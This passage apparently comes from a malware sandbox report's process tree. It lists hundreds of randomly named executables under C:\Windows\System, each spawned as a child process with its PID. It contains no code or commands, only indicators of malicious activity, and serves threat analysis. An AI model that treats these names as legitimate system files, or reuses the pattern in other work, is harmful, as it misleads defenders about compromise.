  C:\Windows\System\HIbKqxV.exe
  2⤵
  PID:8296
- C:\Windows\System\pocAFug.exe
  C:\Windows\System\pocAFug.exe
  2⤵
  PID:8324
- C:\Windows\System\YOIaPhO.exe
  C:\Windows\System\YOIaPhO.exe
  2⤵
  PID:8340
- C:\Windows\System\gAElvyo.exe
  C:\Windows\System\gAElvyo.exe
  2⤵
  PID:8380
- C:\Windows\System\VHqrPAm.exe
  C:\Windows\System\VHqrPAm.exe
  2⤵
  PID:8408
- C:\Windows\System\kfhnPVs.exe
  C:\Windows\System\kfhnPVs.exe
  2⤵
  PID:8436
- C:\Windows\System\WcrOkmz.exe
  C:\Windows\System\WcrOkmz.exe
  2⤵
  PID:8452
- C:\Windows\System\BZKNcRr.exe
  C:\Windows\System\BZKNcRr.exe
  2⤵
  PID:8492
- C:\Windows\System\rKJmctO.exe
  C:\Windows\System\rKJmctO.exe
  2⤵
  PID:8516
- C:\Windows\System\avbxuRq.exe
  C:\Windows\System\avbxuRq.exe
  2⤵
  PID:8552
- C:\Windows\System\MVUtBjN.exe
  C:\Windows\System\MVUtBjN.exe
  2⤵
  PID:8572
- C:\Windows\System\gCMIIlb.exe
  C:\Windows\System\gCMIIlb.exe
  2⤵
  PID:8608
- C:\Windows\System\DBnWkUh.exe
  C:\Windows\System\DBnWkUh.exe
  2⤵
  PID:8636
- C:\Windows\System\eZyuaBY.exe
  C:\Windows\System\eZyuaBY.exe
  2⤵
  PID:8656
- C:\Windows\System\syowWTF.exe
  C:\Windows\System\syowWTF.exe
  2⤵
  PID:8692
- C:\Windows\System\QIbCMPz.exe
  C:\Windows\System\QIbCMPz.exe
  2⤵
  PID:8708
- C:\Windows\System\BHoqVAM.exe
  C:\Windows\System\BHoqVAM.exe
  2⤵
  PID:8748
- C:\Windows\System\bVczVMd.exe
  C:\Windows\System\bVczVMd.exe
  2⤵
  PID:8776
- C:\Windows\System\xgzgFQk.exe
  C:\Windows\System\xgzgFQk.exe
  2⤵
  PID:8804
- C:\Windows\System\TZOGQEs.exe
  C:\Windows\System\TZOGQEs.exe
  2⤵
  PID:8832
- C:\Windows\System\xwWXhBR.exe
  C:\Windows\System\xwWXhBR.exe
  2⤵
  PID:8860
- C:\Windows\System\xUFKTyu.exe
  C:\Windows\System\xUFKTyu.exe
  2⤵
  PID:8888
- C:\Windows\System\rjWBWTE.exe
  C:\Windows\System\rjWBWTE.exe
  2⤵
  PID:8916
- C:\Windows\System\GIHAjJZ.exe
  C:\Windows\System\GIHAjJZ.exe
  2⤵
  PID:8932
- C:\Windows\System\iiydSjY.exe
  C:\Windows\System\iiydSjY.exe
  2⤵
  PID:8960
- C:\Windows\System\swCxReX.exe
  C:\Windows\System\swCxReX.exe
  2⤵
  PID:9004
- C:\Windows\System\EEityHx.exe
  C:\Windows\System\EEityHx.exe
  2⤵
  PID:9032
- C:\Windows\System\MAIdIcj.exe
  C:\Windows\System\MAIdIcj.exe
  2⤵
  PID:9048
- C:\Windows\System\ctghzTP.exe
  C:\Windows\System\ctghzTP.exe
  2⤵
  PID:9064
- C:\Windows\System\ztYZeLK.exe
  C:\Windows\System\ztYZeLK.exe
  2⤵
  PID:9080
- C:\Windows\System\FSHCsOy.exe
  C:\Windows\System\FSHCsOy.exe
  2⤵
  PID:9096
- C:\Windows\System\ipBFVGQ.exe
  C:\Windows\System\ipBFVGQ.exe
  2⤵
  PID:9120
- C:\Windows\System\WUDAUPy.exe
  C:\Windows\System\WUDAUPy.exe
  2⤵
  PID:9152
- C:\Windows\System\dlqcLqg.exe
  C:\Windows\System\dlqcLqg.exe
  2⤵
  PID:9188
- C:\Windows\System\rjUPxfk.exe
  C:\Windows\System\rjUPxfk.exe
  2⤵
  PID:8212
- C:\Windows\System\DzUJOoW.exe
  C:\Windows\System\DzUJOoW.exe
  2⤵
  PID:8320
- C:\Windows\System\IHtumYI.exe
  C:\Windows\System\IHtumYI.exe
  2⤵
  PID:8428
- C:\Windows\System\QenANbY.exe
  C:\Windows\System\QenANbY.exe
  2⤵
  PID:8488
- C:\Windows\System\LOVbaOS.exe
  C:\Windows\System\LOVbaOS.exe
  2⤵
  PID:8544
- C:\Windows\System\YSbhSIB.exe
  C:\Windows\System\YSbhSIB.exe
  2⤵
  PID:8592
- C:\Windows\System\dlqNNiZ.exe
  C:\Windows\System\dlqNNiZ.exe
  2⤵
  PID:8632
- C:\Windows\System\wIaWZPy.exe
  C:\Windows\System\wIaWZPy.exe
  2⤵
  PID:8684
- C:\Windows\System\jsXNqMP.exe
  C:\Windows\System\jsXNqMP.exe
  2⤵
  PID:8788
- C:\Windows\System\dFslLAG.exe
  C:\Windows\System\dFslLAG.exe
  2⤵
  PID:8872
- C:\Windows\System\ymVrGAx.exe
  C:\Windows\System\ymVrGAx.exe
  2⤵
  PID:8912
- C:\Windows\System\gMuLYsk.exe
  C:\Windows\System\gMuLYsk.exe
  2⤵
  PID:9028
- C:\Windows\System\BtOjnkp.exe
  C:\Windows\System\BtOjnkp.exe
  2⤵
  PID:9088
- C:\Windows\System\wLuDAMh.exe
  C:\Windows\System\wLuDAMh.exe
  2⤵
  PID:9056
- C:\Windows\System\QPOEDTo.exe
  C:\Windows\System\QPOEDTo.exe
  2⤵
  PID:9176
- C:\Windows\System\Dkmcbjb.exe
  C:\Windows\System\Dkmcbjb.exe
  2⤵
  PID:8264
- C:\Windows\System\LHSgoGf.exe
  C:\Windows\System\LHSgoGf.exe
  2⤵
  PID:8464
- C:\Windows\System\ADQlDXS.exe
  C:\Windows\System\ADQlDXS.exe
  2⤵
  PID:8600
- C:\Windows\System\MTcMEGN.exe
  C:\Windows\System\MTcMEGN.exe
  2⤵
  PID:8736
- C:\Windows\System\UTqAiKf.exe
  C:\Windows\System\UTqAiKf.exe
  2⤵
  PID:8908
- C:\Windows\System\JbZjJUF.exe
  C:\Windows\System\JbZjJUF.exe
  2⤵
  PID:9108
- C:\Windows\System\yzUsNAI.exe
  C:\Windows\System\yzUsNAI.exe
  2⤵
  PID:8236
- C:\Windows\System\aYGUYZr.exe
  C:\Windows\System\aYGUYZr.exe
  2⤵
  PID:8508
- C:\Windows\System\jlKEAeZ.exe
  C:\Windows\System\jlKEAeZ.exe
  2⤵
  PID:8700
- C:\Windows\System\CzdGYKs.exe
  C:\Windows\System\CzdGYKs.exe
  2⤵
  PID:8196
- C:\Windows\System\mHDDUJe.exe
  C:\Windows\System\mHDDUJe.exe
  2⤵
  PID:8628
- C:\Windows\System\sjtpveo.exe
  C:\Windows\System\sjtpveo.exe
  2⤵
  PID:9228
- C:\Windows\System\lFTzVKV.exe
  C:\Windows\System\lFTzVKV.exe
  2⤵
  PID:9244
- C:\Windows\System\fFoXgAD.exe
  C:\Windows\System\fFoXgAD.exe
  2⤵
  PID:9276
- C:\Windows\System\kFRJieN.exe
  C:\Windows\System\kFRJieN.exe
  2⤵
  PID:9304
- C:\Windows\System\wHVxYXM.exe
  C:\Windows\System\wHVxYXM.exe
  2⤵
  PID:9356
- C:\Windows\System\vHcezRk.exe
  C:\Windows\System\vHcezRk.exe
  2⤵
  PID:9392
- C:\Windows\System\HAgmOaw.exe
  C:\Windows\System\HAgmOaw.exe
  2⤵
  PID:9424
- C:\Windows\System\RLcHtAv.exe
  C:\Windows\System\RLcHtAv.exe
  2⤵
  PID:9484
- C:\Windows\System\bzxrUBE.exe
  C:\Windows\System\bzxrUBE.exe
  2⤵
  PID:9512
- C:\Windows\System\eSZTASQ.exe
  C:\Windows\System\eSZTASQ.exe
  2⤵
  PID:9536
- C:\Windows\System\Mdfnrly.exe
  C:\Windows\System\Mdfnrly.exe
  2⤵
  PID:9576
- C:\Windows\System\LwDkkeh.exe
  C:\Windows\System\LwDkkeh.exe
  2⤵
  PID:9592
- C:\Windows\System\FdQXTZC.exe
  C:\Windows\System\FdQXTZC.exe
  2⤵
  PID:9620
- C:\Windows\System\GmXUijC.exe
  C:\Windows\System\GmXUijC.exe
  2⤵
  PID:9656
- C:\Windows\System\sAqgjmD.exe
  C:\Windows\System\sAqgjmD.exe
  2⤵
  PID:9688
- C:\Windows\System\XPpXKfE.exe
  C:\Windows\System\XPpXKfE.exe
  2⤵
  PID:9704
- C:\Windows\System\xrUNwNl.exe
  C:\Windows\System\xrUNwNl.exe
  2⤵
  PID:9736
- C:\Windows\System\QWULNud.exe
  C:\Windows\System\QWULNud.exe
  2⤵
  PID:9760
- C:\Windows\System\EXkiDxo.exe
  C:\Windows\System\EXkiDxo.exe
  2⤵
  PID:9780
- C:\Windows\System\bTOebmD.exe
  C:\Windows\System\bTOebmD.exe
  2⤵
  PID:9828
- C:\Windows\System\MULkgPu.exe
  C:\Windows\System\MULkgPu.exe
  2⤵
  PID:9856
- C:\Windows\System\URzLVwh.exe
  C:\Windows\System\URzLVwh.exe
  2⤵
  PID:9872
- C:\Windows\System\PwXXNjZ.exe
  C:\Windows\System\PwXXNjZ.exe
  2⤵
  PID:9908
- C:\Windows\System\eohtFqB.exe
  C:\Windows\System\eohtFqB.exe
  2⤵
  PID:9928
- C:\Windows\System\ZsuobmL.exe
  C:\Windows\System\ZsuobmL.exe
  2⤵
  PID:9968
- C:\Windows\System\nVySxGe.exe
  C:\Windows\System\nVySxGe.exe
  2⤵
  PID:9984
- C:\Windows\System\mrqGhil.exe
  C:\Windows\System\mrqGhil.exe
  2⤵
  PID:10012
- C:\Windows\System\gdCNtDP.exe
  C:\Windows\System\gdCNtDP.exe
  2⤵
  PID:10044
- C:\Windows\System\atoQRnX.exe
  C:\Windows\System\atoQRnX.exe
  2⤵
  PID:10080
- C:\Windows\System\NBFDkdJ.exe
  C:\Windows\System\NBFDkdJ.exe
  2⤵
  PID:10096
- C:\Windows\System\DxqfmBY.exe
  C:\Windows\System\DxqfmBY.exe
  2⤵
  PID:10136
- C:\Windows\System\fYjJVqJ.exe
  C:\Windows\System\fYjJVqJ.exe
  2⤵
  PID:10164
- C:\Windows\System\cCFPrjb.exe
  C:\Windows\System\cCFPrjb.exe
  2⤵
  PID:10192
- C:\Windows\System\FBZWcIv.exe
  C:\Windows\System\FBZWcIv.exe
  2⤵
  PID:10208
- C:\Windows\System\wTnhqAh.exe
  C:\Windows\System\wTnhqAh.exe
  2⤵
  PID:8704
- C:\Windows\System\XQwJUpg.exe
  C:\Windows\System\XQwJUpg.exe
  2⤵
  PID:9300
- C:\Windows\System\xIcaKdV.exe
  C:\Windows\System\xIcaKdV.exe
  2⤵
  PID:9272
- C:\Windows\System\joQQQxD.exe
  C:\Windows\System\joQQQxD.exe
  2⤵
  PID:9372
- C:\Windows\System\hmiqvpq.exe
  C:\Windows\System\hmiqvpq.exe
  2⤵
  PID:9504
- C:\Windows\System\pAlsJBX.exe
  C:\Windows\System\pAlsJBX.exe
  2⤵
  PID:9548
- C:\Windows\System\lkAizHj.exe
  C:\Windows\System\lkAizHj.exe
  2⤵
  PID:9640
- C:\Windows\System\zXzJnov.exe
  C:\Windows\System\zXzJnov.exe
  2⤵
  PID:9684
- C:\Windows\System\GKrqsZY.exe
  C:\Windows\System\GKrqsZY.exe
  2⤵
  PID:9756
- C:\Windows\System\oteOsdS.exe
  C:\Windows\System\oteOsdS.exe
  2⤵
  PID:9812
- C:\Windows\System\kyGwudP.exe
  C:\Windows\System\kyGwudP.exe
  2⤵
  PID:9868
- C:\Windows\System\vRmAGbr.exe
  C:\Windows\System\vRmAGbr.exe
  2⤵
  PID:9944
- C:\Windows\System\nJqhGyH.exe
  C:\Windows\System\nJqhGyH.exe
  2⤵
  PID:10004
- C:\Windows\System\rSorqoU.exe
  C:\Windows\System\rSorqoU.exe
  2⤵
  PID:10088
- C:\Windows\System\WIYfRat.exe
  C:\Windows\System\WIYfRat.exe
  2⤵
  PID:10176
- C:\Windows\System\otHerrZ.exe
  C:\Windows\System\otHerrZ.exe
  2⤵
  PID:10200
- C:\Windows\System\oYCdFcG.exe
  C:\Windows\System\oYCdFcG.exe
  2⤵
  PID:9236
- C:\Windows\System\xkAibtG.exe
  C:\Windows\System\xkAibtG.exe
  2⤵
  PID:9376
- C:\Windows\System\qUUlSEK.exe
  C:\Windows\System\qUUlSEK.exe
  2⤵
  PID:9728
- C:\Windows\System\WHmtvYi.exe
  C:\Windows\System\WHmtvYi.exe
  2⤵
  PID:9848
- C:\Windows\System\XzBNEuw.exe
  C:\Windows\System\XzBNEuw.exe
  2⤵
  PID:9980
- C:\Windows\System\TBxSaxd.exe
  C:\Windows\System\TBxSaxd.exe
  2⤵
  PID:10124
- C:\Windows\System\AkEIGNT.exe
  C:\Windows\System\AkEIGNT.exe
  2⤵
  PID:10204
- C:\Windows\System\OKNsqaO.exe
  C:\Windows\System\OKNsqaO.exe
  2⤵
  PID:9528
- C:\Windows\System\iGESfbl.exe
  C:\Windows\System\iGESfbl.exe
  2⤵
  PID:9916
- C:\Windows\System\ZaJLtCG.exe
  C:\Windows\System\ZaJLtCG.exe
  2⤵
  PID:9468
- C:\Windows\System\WxZYFcA.exe
  C:\Windows\System\WxZYFcA.exe
  2⤵
  PID:10008
- C:\Windows\System\sjdRQok.exe
  C:\Windows\System\sjdRQok.exe
  2⤵
  PID:10260
- C:\Windows\System\RuutqHA.exe
  C:\Windows\System\RuutqHA.exe
  2⤵
  PID:10300
- C:\Windows\System\cIxqZls.exe
  C:\Windows\System\cIxqZls.exe
  2⤵
  PID:10316
- C:\Windows\System\ZjYpGrq.exe
  C:\Windows\System\ZjYpGrq.exe
  2⤵
  PID:10332
- C:\Windows\System\OtnemAq.exe
  C:\Windows\System\OtnemAq.exe
  2⤵
  PID:10372
- C:\Windows\System\tnBZvoP.exe
  C:\Windows\System\tnBZvoP.exe
  2⤵
  PID:10400
- C:\Windows\System\hBgdrHS.exe
  C:\Windows\System\hBgdrHS.exe
  2⤵
  PID:10420
- C:\Windows\System\eWhKSTn.exe
  C:\Windows\System\eWhKSTn.exe
  2⤵
  PID:10444
- C:\Windows\System\joZnHlZ.exe
  C:\Windows\System\joZnHlZ.exe
  2⤵
  PID:10472
- C:\Windows\System\QUdUERy.exe
  C:\Windows\System\QUdUERy.exe
  2⤵
  PID:10524
- C:\Windows\System\vOubGRG.exe
  C:\Windows\System\vOubGRG.exe
  2⤵
  PID:10552
- C:\Windows\System\IqhapGj.exe
  C:\Windows\System\IqhapGj.exe
  2⤵
  PID:10568
- C:\Windows\System\qtOlrix.exe
  C:\Windows\System\qtOlrix.exe
  2⤵
  PID:10608
- C:\Windows\System\cRnYEIv.exe
  C:\Windows\System\cRnYEIv.exe
  2⤵
  PID:10636
- C:\Windows\System\VHUrUDV.exe
  C:\Windows\System\VHUrUDV.exe
  2⤵
  PID:10664
- C:\Windows\System\IMtCZvP.exe
  C:\Windows\System\IMtCZvP.exe
  2⤵
  PID:10692
- C:\Windows\System\JsbKXNV.exe
  C:\Windows\System\JsbKXNV.exe
  2⤵
  PID:10708
- C:\Windows\System\oonkFwS.exe
  C:\Windows\System\oonkFwS.exe
  2⤵
  PID:10740
- C:\Windows\System\TVscIhh.exe
  C:\Windows\System\TVscIhh.exe
  2⤵
  PID:10768
- C:\Windows\System\zYRbCic.exe
  C:\Windows\System\zYRbCic.exe
  2⤵
  PID:10804
- C:\Windows\System\TjEhbWB.exe
  C:\Windows\System\TjEhbWB.exe
  2⤵
  PID:10832
- C:\Windows\System\zTAYSfa.exe
  C:\Windows\System\zTAYSfa.exe
  2⤵
  PID:10848
- C:\Windows\System\stMwqGy.exe
  C:\Windows\System\stMwqGy.exe
  2⤵
  PID:10880
- C:\Windows\System\sdobXlQ.exe
  C:\Windows\System\sdobXlQ.exe
  2⤵
  PID:10916
- C:\Windows\System\kHNbzZQ.exe
  C:\Windows\System\kHNbzZQ.exe
  2⤵
  PID:10940
- C:\Windows\System\KdtbwzW.exe
  C:\Windows\System\KdtbwzW.exe
  2⤵
  PID:10972
- C:\Windows\System\VcLvlPm.exe
  C:\Windows\System\VcLvlPm.exe
  2⤵
  PID:11000
- C:\Windows\System\FeDkmPC.exe
  C:\Windows\System\FeDkmPC.exe
  2⤵
  PID:11028
- C:\Windows\System\qrZjKxH.exe
  C:\Windows\System\qrZjKxH.exe
  2⤵
  PID:11056
- C:\Windows\System\ZparOIl.exe
  C:\Windows\System\ZparOIl.exe
  2⤵
  PID:11084
- C:\Windows\System\BEZWTyP.exe
  C:\Windows\System\BEZWTyP.exe
  2⤵
  PID:11112
- C:\Windows\System\uNdgrOm.exe
  C:\Windows\System\uNdgrOm.exe
  2⤵
  PID:11140
- C:\Windows\System\lYgslZd.exe
  C:\Windows\System\lYgslZd.exe
  2⤵
  PID:11168
- C:\Windows\System\DHgPxpy.exe
  C:\Windows\System\DHgPxpy.exe
  2⤵
  PID:11196
- C:\Windows\System\vpdSumw.exe
  C:\Windows\System\vpdSumw.exe
  2⤵
  PID:11224
- C:\Windows\System\vSTdBEo.exe
  C:\Windows\System\vSTdBEo.exe
  2⤵
  PID:11252
- C:\Windows\System\QBQMlkE.exe
  C:\Windows\System\QBQMlkE.exe
  2⤵
  PID:10280
- C:\Windows\System\WDsAeCe.exe
  C:\Windows\System\WDsAeCe.exe
  2⤵
  PID:10344
- C:\Windows\System\EZcVVNG.exe
  C:\Windows\System\EZcVVNG.exe
  2⤵
  PID:10352
- C:\Windows\System\OIsBsbM.exe
  C:\Windows\System\OIsBsbM.exe
  2⤵
  PID:10428
- C:\Windows\System\BQKDWhn.exe
  C:\Windows\System\BQKDWhn.exe
  2⤵
  PID:10484
- C:\Windows\System\cSvXNOA.exe
  C:\Windows\System\cSvXNOA.exe
  2⤵
  PID:10544
- C:\Windows\System\QCEUjlc.exe
  C:\Windows\System\QCEUjlc.exe
  2⤵
  PID:10660
- C:\Windows\System\WAYJNLY.exe
  C:\Windows\System\WAYJNLY.exe
  2⤵
  PID:10728
- C:\Windows\System\fBKIgzF.exe
  C:\Windows\System\fBKIgzF.exe
  2⤵
  PID:10788
- C:\Windows\System\AtulbFr.exe
  C:\Windows\System\AtulbFr.exe
  2⤵
  PID:10860
- C:\Windows\System\HaBCPfd.exe
  C:\Windows\System\HaBCPfd.exe
  2⤵
  PID:10912
- C:\Windows\System\Isonayq.exe
  C:\Windows\System\Isonayq.exe
  2⤵
  PID:10964
- C:\Windows\System\abmuEXz.exe
  C:\Windows\System\abmuEXz.exe
  2⤵
  PID:11068
- C:\Windows\System\QHMqILv.exe
  C:\Windows\System\QHMqILv.exe
  2⤵
  PID:11124
- C:\Windows\System\NMLDzGZ.exe
  C:\Windows\System\NMLDzGZ.exe
  2⤵
  PID:11188
- C:\Windows\System\uYzjszD.exe
  C:\Windows\System\uYzjszD.exe
  2⤵
  PID:11244
- C:\Windows\System\CDmXlgd.exe
  C:\Windows\System\CDmXlgd.exe
  2⤵
  PID:10292
- C:\Windows\System\rVCTgoB.exe
  C:\Windows\System\rVCTgoB.exe
  2⤵
  PID:10384
- C:\Windows\System\rzrRYfO.exe
  C:\Windows\System\rzrRYfO.exe
  2⤵
  PID:10656
- C:\Windows\System\slYSIbE.exe
  C:\Windows\System\slYSIbE.exe
  2⤵
  PID:10844
- C:\Windows\System\AcnXrVT.exe
  C:\Windows\System\AcnXrVT.exe
  2⤵
  PID:10948
- C:\Windows\System\dQGIqUh.exe
  C:\Windows\System\dQGIqUh.exe
  2⤵
  PID:11076
- C:\Windows\System\gGUAoZg.exe
  C:\Windows\System\gGUAoZg.exe
  2⤵
  PID:11236
- C:\Windows\System\nztspEX.exe
  C:\Windows\System\nztspEX.exe
  2⤵
  PID:10776
- C:\Windows\System\SuRqFYR.exe
  C:\Windows\System\SuRqFYR.exe
  2⤵
  PID:11048
- C:\Windows\System\SsaJXuH.exe
  C:\Windows\System\SsaJXuH.exe
  2⤵
  PID:10648
- C:\Windows\System\gNHybxt.exe
  C:\Windows\System\gNHybxt.exe
  2⤵
  PID:11020
- C:\Windows\System\bHLdgrx.exe
  C:\Windows\System\bHLdgrx.exe
  2⤵
  PID:11284
- C:\Windows\System\nzgauGx.exe
  C:\Windows\System\nzgauGx.exe
  2⤵
  PID:11304
- C:\Windows\System\VOpSurV.exe
  C:\Windows\System\VOpSurV.exe
  2⤵
  PID:11328
- C:\Windows\System\nBuGFvf.exe
  C:\Windows\System\nBuGFvf.exe
  2⤵
  PID:11344
- C:\Windows\System\muAZGQb.exe
  C:\Windows\System\muAZGQb.exe
  2⤵
  PID:11396
- C:\Windows\System\gaocztg.exe
  C:\Windows\System\gaocztg.exe
  2⤵
  PID:11412
- C:\Windows\System\vEWwbBu.exe
  C:\Windows\System\vEWwbBu.exe
  2⤵
  PID:11452
- C:\Windows\System\gkIdExF.exe
  C:\Windows\System\gkIdExF.exe
  2⤵
  PID:11480
- C:\Windows\System\JPUAXWq.exe
  C:\Windows\System\JPUAXWq.exe
  2⤵
  PID:11508
- C:\Windows\System\uoJVjld.exe
  C:\Windows\System\uoJVjld.exe
  2⤵
  PID:11524
- C:\Windows\System\mYMDubo.exe
  C:\Windows\System\mYMDubo.exe
  2⤵
  PID:11564
- C:\Windows\System\LaDExwd.exe
  C:\Windows\System\LaDExwd.exe
  2⤵
  PID:11580
- C:\Windows\System\gHspMIV.exe
  C:\Windows\System\gHspMIV.exe
  2⤵
  PID:11608
- C:\Windows\System\XSusqVB.exe
  C:\Windows\System\XSusqVB.exe
  2⤵
  PID:11636
- C:\Windows\System\wLPVStK.exe
  C:\Windows\System\wLPVStK.exe
  2⤵
  PID:11652
- C:\Windows\System\ZUFpdpD.exe
  C:\Windows\System\ZUFpdpD.exe
  2⤵
  PID:11696
- C:\Windows\System\FVwLzgA.exe
  C:\Windows\System\FVwLzgA.exe
  2⤵
  PID:11720
- C:\Windows\System\XoXsuLS.exe
  C:\Windows\System\XoXsuLS.exe
  2⤵
  PID:11768
- C:\Windows\System\SIJXZUY.exe
  C:\Windows\System\SIJXZUY.exe
  2⤵
  PID:11792
- C:\Windows\System\dPtPJIn.exe
  C:\Windows\System\dPtPJIn.exe
  2⤵
  PID:11812
- C:\Windows\System\DbalMlZ.exe
  C:\Windows\System\DbalMlZ.exe
  2⤵
  PID:11840
- C:\Windows\System\LVWxEtp.exe
  C:\Windows\System\LVWxEtp.exe
  2⤵
  PID:11880
- C:\Windows\System\JlMlOhm.exe
  C:\Windows\System\JlMlOhm.exe
  2⤵
  PID:11908
- C:\Windows\System\RqPDDuq.exe
  C:\Windows\System\RqPDDuq.exe
  2⤵
  PID:11924
- C:\Windows\System\aCPHtpW.exe
  C:\Windows\System\aCPHtpW.exe
  2⤵
  PID:11984
- C:\Windows\System\IMrKGPE.exe
  C:\Windows\System\IMrKGPE.exe
  2⤵
  PID:12000
- C:\Windows\System\uOUByTE.exe
  C:\Windows\System\uOUByTE.exe
  2⤵
  PID:12028
- C:\Windows\System\GovSFXH.exe
  C:\Windows\System\GovSFXH.exe
  2⤵
  PID:12060
- C:\Windows\System\QjbEWdf.exe
  C:\Windows\System\QjbEWdf.exe
  2⤵
  PID:12100
- C:\Windows\System\mZftTCY.exe
  C:\Windows\System\mZftTCY.exe
  2⤵
  PID:12116
- C:\Windows\System\iibTswy.exe
  C:\Windows\System\iibTswy.exe
  2⤵
  PID:12144
- C:\Windows\System\KhpWjlK.exe
  C:\Windows\System\KhpWjlK.exe
  2⤵
  PID:12176
- C:\Windows\System\kVreMTl.exe
  C:\Windows\System\kVreMTl.exe
  2⤵
  PID:12200
- C:\Windows\System\fuXprqX.exe
  C:\Windows\System\fuXprqX.exe
  2⤵
  PID:12228
- C:\Windows\System\sdQFzIY.exe
  C:\Windows\System\sdQFzIY.exe
  2⤵
  PID:12256
- C:\Windows\System\tzVVKKG.exe
  C:\Windows\System\tzVVKKG.exe
  2⤵
  PID:11280
- C:\Windows\System\mAMPzib.exe
  C:\Windows\System\mAMPzib.exe
  2⤵
  PID:11364
- C:\Windows\System\BjUMJSe.exe
  C:\Windows\System\BjUMJSe.exe
  2⤵
  PID:11404
- C:\Windows\System\vRtyDtW.exe
  C:\Windows\System\vRtyDtW.exe
  2⤵
  PID:11444
- C:\Windows\System\TZwlDhy.exe
  C:\Windows\System\TZwlDhy.exe
  2⤵
  PID:11520
- C:\Windows\System\DcdOYrc.exe
  C:\Windows\System\DcdOYrc.exe
  2⤵
  PID:11576
- C:\Windows\System\OkZzyBa.exe
  C:\Windows\System\OkZzyBa.exe
  2⤵
  PID:11676
- C:\Windows\System\lCpxWFu.exe
  C:\Windows\System\lCpxWFu.exe
  2⤵
  PID:11744
- C:\Windows\System\owyzAYa.exe
  C:\Windows\System\owyzAYa.exe
  2⤵
  PID:11824
- C:\Windows\System\xXzgUXb.exe
  C:\Windows\System\xXzgUXb.exe
  2⤵
  PID:11868
- C:\Windows\System\UvPsEpk.exe
  C:\Windows\System\UvPsEpk.exe
  2⤵
  PID:11944
- C:\Windows\System\xfwbDmt.exe
  C:\Windows\System\xfwbDmt.exe
  2⤵
  PID:12016
- C:\Windows\System\Zjtvvym.exe
  C:\Windows\System\Zjtvvym.exe
  2⤵
  PID:12072
- C:\Windows\System\JSUJVzR.exe
  C:\Windows\System\JSUJVzR.exe
  2⤵
  PID:12184
- C:\Windows\System\sBPwPct.exe
  C:\Windows\System\sBPwPct.exe
  2⤵
  PID:12212
- C:\Windows\System\qeDuGvw.exe
  C:\Windows\System\qeDuGvw.exe
  2⤵
  PID:11276
- C:\Windows\System\dXjcvbr.exe
  C:\Windows\System\dXjcvbr.exe
  2⤵
  PID:11448
- C:\Windows\System\ACGTJOz.exe
  C:\Windows\System\ACGTJOz.exe
  2⤵
  PID:11536
- C:\Windows\System\gJACNIu.exe
  C:\Windows\System\gJACNIu.exe
  2⤵
  PID:11740
- C:\Windows\System\NBqAsxK.exe
  C:\Windows\System\NBqAsxK.exe
  2⤵
  PID:11836
- C:\Windows\System\XxpLBBz.exe
  C:\Windows\System\XxpLBBz.exe
  2⤵
  PID:12084
- C:\Windows\System\IvyGJEu.exe
  C:\Windows\System\IvyGJEu.exe
  2⤵
  PID:12172
- C:\Windows\System\pgTsJeW.exe
  C:\Windows\System\pgTsJeW.exe
  2⤵
  PID:11492
- C:\Windows\System\zaFZAxy.exe
  C:\Windows\System\zaFZAxy.exe
  2⤵
  PID:11992
- C:\Windows\System\FJMERRf.exe
  C:\Windows\System\FJMERRf.exe
  2⤵
  PID:11440
- C:\Windows\System\OqWUuxq.exe
  C:\Windows\System\OqWUuxq.exe
  2⤵
  PID:11892
- C:\Windows\System\KHTFjYz.exe
  C:\Windows\System\KHTFjYz.exe
  2⤵
  PID:12304
- C:\Windows\System\BAYrXGQ.exe
  C:\Windows\System\BAYrXGQ.exe
  2⤵
  PID:12324
- C:\Windows\System\CiwYVtW.exe
  C:\Windows\System\CiwYVtW.exe
  2⤵
  PID:12344
- C:\Windows\System\RGSYLbi.exe
  C:\Windows\System\RGSYLbi.exe
  2⤵
  PID:12368
- C:\Windows\System\SyznolE.exe
  C:\Windows\System\SyznolE.exe
  2⤵
  PID:12408
- C:\Windows\System\jfuxSdN.exe
  C:\Windows\System\jfuxSdN.exe
  2⤵
  PID:12436
- C:\Windows\System\zvpfIrd.exe
  C:\Windows\System\zvpfIrd.exe
  2⤵
  PID:12476
- C:\Windows\System\OzzkgpV.exe
  C:\Windows\System\OzzkgpV.exe
  2⤵
  PID:12504
- C:\Windows\System\DQsvept.exe
  C:\Windows\System\DQsvept.exe
  2⤵
  PID:12520
- C:\Windows\System\fbPqVyS.exe
  C:\Windows\System\fbPqVyS.exe
  2⤵
  PID:12536
- C:\Windows\System\XWzofoW.exe
  C:\Windows\System\XWzofoW.exe
  2⤵
  PID:12588
- C:\Windows\System\ZUsYDPJ.exe
  C:\Windows\System\ZUsYDPJ.exe
  2⤵
  PID:12616
- C:\Windows\System\VvhpVCf.exe
  C:\Windows\System\VvhpVCf.exe
  2⤵
  PID:12632
- C:\Windows\System\xFyMOrK.exe
  C:\Windows\System\xFyMOrK.exe
  2⤵
  PID:12672
- C:\Windows\System\bPRwcVp.exe
  C:\Windows\System\bPRwcVp.exe
  2⤵
  PID:12700
- C:\Windows\System\rvAobjd.exe
  C:\Windows\System\rvAobjd.exe
  2⤵
  PID:12728
- C:\Windows\System\lSYVTGq.exe
  C:\Windows\System\lSYVTGq.exe
  2⤵
  PID:12756
- C:\Windows\System\XYstwdi.exe
  C:\Windows\System\XYstwdi.exe
  2⤵
  PID:12784
- C:\Windows\System\VADzMIz.exe
  C:\Windows\System\VADzMIz.exe
  2⤵
  PID:12812
- C:\Windows\System\OpNlvDZ.exe
  C:\Windows\System\OpNlvDZ.exe
  2⤵
  PID:12864
- C:\Windows\System\wzEWqqA.exe
  C:\Windows\System\wzEWqqA.exe
  2⤵
  PID:12880
- C:\Windows\System\JlCrdDb.exe
  C:\Windows\System\JlCrdDb.exe
  2⤵
  PID:12904
- C:\Windows\System\nGJbtLo.exe
  C:\Windows\System\nGJbtLo.exe
  2⤵
  PID:12928
- C:\Windows\System\bBEWkTU.exe
  C:\Windows\System\bBEWkTU.exe
  2⤵
  PID:12964
- C:\Windows\System\hEbyEGS.exe
  C:\Windows\System\hEbyEGS.exe
  2⤵
  PID:12980
- C:\Windows\System\brUuucU.exe
  C:\Windows\System\brUuucU.exe
  2⤵
  PID:13008
- C:\Windows\System\YdipJmZ.exe
  C:\Windows\System\YdipJmZ.exe
  2⤵
  PID:13036
- C:\Windows\System\MUcGGYV.exe
  C:\Windows\System\MUcGGYV.exe
  2⤵
  PID:13088
- C:\Windows\System\KvKYCNq.exe
  C:\Windows\System\KvKYCNq.exe
  2⤵
  PID:13120
- C:\Windows\System\ngOobht.exe
  C:\Windows\System\ngOobht.exe
  2⤵
  PID:13144
- C:\Windows\System\chRaoao.exe
  C:\Windows\System\chRaoao.exe
  2⤵
  PID:13172
